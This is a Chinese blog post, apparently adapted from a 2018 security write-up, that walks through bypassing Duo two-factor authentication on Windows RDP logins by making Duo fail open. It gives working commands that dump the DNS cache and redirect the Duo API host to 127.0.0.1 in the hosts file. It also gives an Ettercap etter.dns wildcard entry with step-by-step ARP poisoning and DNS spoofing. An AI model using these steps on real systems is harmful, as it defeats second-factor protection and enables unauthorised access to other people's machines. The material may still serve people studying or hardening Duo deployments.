Duo与Microsoft Windows客户端和服务器操作系统集成,可以为远程桌面和本地登录添加2FA双因素身份验证,在国内注册时可能会出现Google reCAPTCHA人机验证显示不出来的情况。至于如何安装和配置2FA双因素身份验证就不详细介绍了,请移步官网:https://duo.com/docs/rdp。
原文地址:https://www.n00py.io/2018/08/bypassing-duo-two-factor-authentication-fail-open/。
1) RDP连接或控制台登录已启动。
2) 主要身份验证。
3) 通过TCP端口443与Duo Security建立的Duo Windows登录凭据提供程序连接。
4) 通过Duo Security的服务进行二级认证。
5) Duo Windows登录凭据提供程序接收身份验证响应。
6) 登录RDP或控制台会话。
The username you have entered is not enrolled with Duo Security. Please contact your system administrator.(您输入的用户名没有在Duo Security注册)。
Access Denied. The username you have entered cannot authenticate with Duo Security. Please contact your system administrator.(拒绝访问,您输入的用户名无法通过Duo Security进行身份验证)。
Your two-factor account is disabled. Contact an administrator for assistance.(您的双因素帐户已停用,您输入的用户名在Duo Security被删除到回收站)。
Duo双因素身份验证方式有:Duo Push(手机端推送)、Call Me(打给我)、Passcode(密码代码,如下图中的:*** 437)。手机端Duo Mobile应用中的DUO-PROTECTED(RDP保护)、DUO ADMIN(Duo仪表板保护)。
利用目标机器的Shell命令行绕过,ipconfig /displaydns命令找出Duo API DNS缓存记录(每个用户都会得到一个不一样的API hostname)。为了防止系统具有过多的DNS缓存并且显示速度太慢,这时可以将命令执行结果写入到文件中:ipconfig /displaydns > C:\ProgramData\dns.txt。
然后编辑目标机器的hosts文件,将刚刚找到的Duo API DNS缓存记录解析到本地127.0.0.1,依次执行以下命令。也可以用Metasploit下的post/windows/manage/inject_host模块、Meterpreter的edit命令和hostsedit脚本。
C:\Windows\system32> copy .\drivers\etc\hosts .\drivers\etc\hosts.bak C:\Windows\system32> echo 127.0.0.1 api-2e****9c.duosecurity.com >> .\drivers\etc\hosts C:\Windows\system32> type .\drivers\etc\hosts
利用Ettercap、Bettercap等工具的ARP+DNS欺骗功能进行绕过,编辑/etc/ettercap/etter.dns文件,将Duo API hostname解析到本地127.0.0.1,“*”星号代表所有的意思。
[...SNIP...] ################################ # microsoft sucks ;) # redirect it to www.linux.org microsoft.com A 107.170.40.56 *.microsoft.com A 107.170.40.56 www.microsoft.com PTR 107.170.40.56 # Wildcards in PTR are not allowed *.duosecurity.com A 127.0.0.1 [...SNIP...]
1) ettercap -G -> Sniff -> Unified sniffing(Ctrl+U)-> eth0
2) Hosts -> Scan for hosts(Ctrl+S)-> Hosts list(Ctrl+H)-> 192.168.1.1 ->Add to Target 1 -> 192.168.1.112 -> Add to Target 2
3) Plugins -> Manage the plugins(Ctrl+P)-> dns_spoof(双击)-> Mitm -> ARP poisoning -> Sniff remote connections(勾选)-> Start -> Start sniffing